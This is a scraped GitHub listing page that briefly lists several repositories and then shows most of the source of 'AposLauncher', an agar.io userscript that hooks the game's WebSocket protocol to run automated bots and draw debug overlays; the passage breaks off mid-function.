gent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15]]],[20,[[50,[[31062930],[31062931,[[380025941,null,null,[1]]]]],null,null,null,null,null,101,null,102]]],[13,[[10,[[44759847],[44759848,[[1947,null,null,[]]]]]],[10,[[44759849],[44759850]]],[1,[[31065824],[31065825,[[424117738,null,null,[1]]]]]],[10,[[31066184],[31066185,[[436251930,null,null,[1]]]]]],[1000,[[21067496]],[4,null,9,null,null,null,null,[\"document.hasTrustToken\"]]],[1000,[[31060475,null,[2,[[1,[[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]],[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]]]]]]],[500,[[31061692],[31061693,[[77,null,null,[1]],[78,null,null,[1]],[85,null,null,[1]],[80,null,null,[1]],[76,null,null,[1]]]]],[4,null,6,null,null,null,null,[\"31061691\"]]],[1,[[31062890],[31062891,[[397841828,null,null,[1]]]]]],[1,[[31062946]],[4,null,27,null,null,null,null,[\"document.prerendering\"]]],[1,[[31062947]],[1,[[4,null,27,null,null,null,null,[\"document.prerendering\"]]]]],[50,[[31064018],[31064019,[[1961,null,null,[1]]]]]],[1,[[31065981,null,[2,[[6,null,null,3,null,0],[12,null,null,null,4,null,\"Chrome\/(9[23456789]|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,27,null,null,null,null,[\"crossOriginIsolated\"]]]]]]]]],[11,[[10,[[44760494],[44760495,[[1957,null,null,[1]]]]],null,48],[1,[[44760496],[44760497,[[1957,null,null,[1]]]],[44760498,[[1957,null,null,[1]]]]],null,48],[2,[[44761535],[44761536,[[1957,null,null,[1]],[1963,null,null,[1]]]],[44761537,[[1957,null,null,[1]],[1964,null,null,[1]]]],[44761538,[[1957,null,null,[1]],[1965,null,null,[1]]]],[44761539,[[1957,null,null,[1]]]]],null,48]]],[17,[[10,[[31060047]],null,null,null,44,null,900],[10,[[31060048],[31060049]],null,null,null,null,null,null,null,101],[10,[[31060566]]]]],[12,[[50,[[31061828],[31061829,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]],[360245597,null,null,[1]],[null,494,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]]]],[31065659,[[1150,null,null,[1]],[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,10000]],[427841102,null,null,[1]],[360245597,null,null,[1]],[null,494,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]]]],[31065787]],null,15],[20,[[21065724],[21065725,[[203,null,null,[1]]]]],[4,null,9,null,null,null,null,[\"LayoutShift\"]]],[50,[[31060006,null,[2,[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[12,null,null,null,4,null,\"Chrome\/(89|9\\\\d|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]]],[31060007,[[1928,null,null,[1]]],[2,[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[12,null,null,null,4,null,\"Chrome\/(89|9\\\\d|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]]]],null,21],[10,[[31060032],[31060033,[[1928,null,null,[1]]]]],null,21],[10,[[31061690],[31061691,[[83,null,null,[1]],[84,null,null,[1]]]]]],[1,[[31065721],[31065722,[[432946749,null,null,[1]]]]]]]]],null,null,[0.001,\"1000\",1,\"1000\"]],[null,[]],null,null,1,\"github.com\",309779023,[44759876,44759927,44759842]]");
keycard-tech / React Native Status KeycardReact Native library to interact with Status Keycard using NFC connection
kqstone / ImmersedStatusBarImmersed statusbar for miui v6 under xposed framework support
status-im / Wiki.status.imIt's the wiki... for Status
status-im / Status Chat WidgetEasily embed a status chatroom in your website - outdated, please use https://github.com/status-im/js-waku
zsith / Launcher.user.js// ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 3.062 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 3.062; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; } var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data["data"]) console.log("hmm: " + data["data"]["object"]["sha"]); sha = data["data"]["object"]["sha"]; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (83 == e.keyCode) { selectedCell = (selectedCell + 1).mod(getPlayer().length + 1); console.log("Next Cell " + selectedCell); } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } if (81 == e.keyCode) { console.log("ToggleFollowMouse"); toggleFollow = !toggleFollow; } } function humanPlayer() { //Don't need to do anything. var player = getPlayer(); var destination = []; for (var i = 0; i < player.length; i++) { destination.push([getPointX(), getPointY()]) } return destination; } function pb() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.jQuery('#nick').val(originalName); if (window.botList.length == 0) { window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', { value: (window.botList.length - 1), text: "Human" }).appendTo(bList); } ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - d + 100, da: b - d + 100, oa: c + d + 100, pa: l + d + 100, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (selectedCell > 0 && selectedCell <= getPlayer().length) { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t), selectedCell - 1); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size, 8); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size / 2, 8); } else if (selectedCell > getPlayer().length) { selectedCell = 0; } if (toggle || window.botList[botIndex][0] == "Human") { var startIndex = (selectedCell == 0 ? 0 : selectedCell - 1); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(((fa - m / 2) / h + s) + i, ((ga - r / 2) / h + t) + i, (i + startIndex).mod(getPlayer().length)); } } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b = b.split("\n"), b[2] && alert(b[2]), Ca("ws://" + b[0], b[1])) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; } var a; if (T()) { a = fa - m / 2; var b = ga - r / 2; for (var i = 0; i < getPlayer().length; i++) { var tempID = getPlayer()[i].id; 64 > a * a + b * b || .01 > Math.abs(eb - ia[i]) && .01 > Math.abs(fb - ja[i]) || (eb = ia[i], fb = ja[i], a = N(21), a.setUint8(0, 16), a.setFloat64(1, ia[i], !0), a.setFloat64(9, ja[i], !0), a.setUint32(17, tempID, !0), O(a)) } } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = "#FFFFFF"; f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](toggleFollow); if (selectedCell > 0) { Aa(); } if (!toggle) { var startIndex = (selectedCell == 0 ? 0 : selectedCell); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(moveLoc[(i + startIndex).mod(getPlayer().length)][0], moveLoc[(i + startIndex).mod(getPlayer().length)][1], (i + startIndex).mod(getPlayer().length)); } } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var debugStrings = []; debugStrings.push("Current Bot: " + window.botList[botIndex][0]); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Q - Follow Mouse: " + (toggleFollow ? "On" : "Off")); debugStrings.push("S - Manual Cell: " + (selectedCell == 0 ? "None" : selectedCell) + " of " + getPlayer().length); debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b 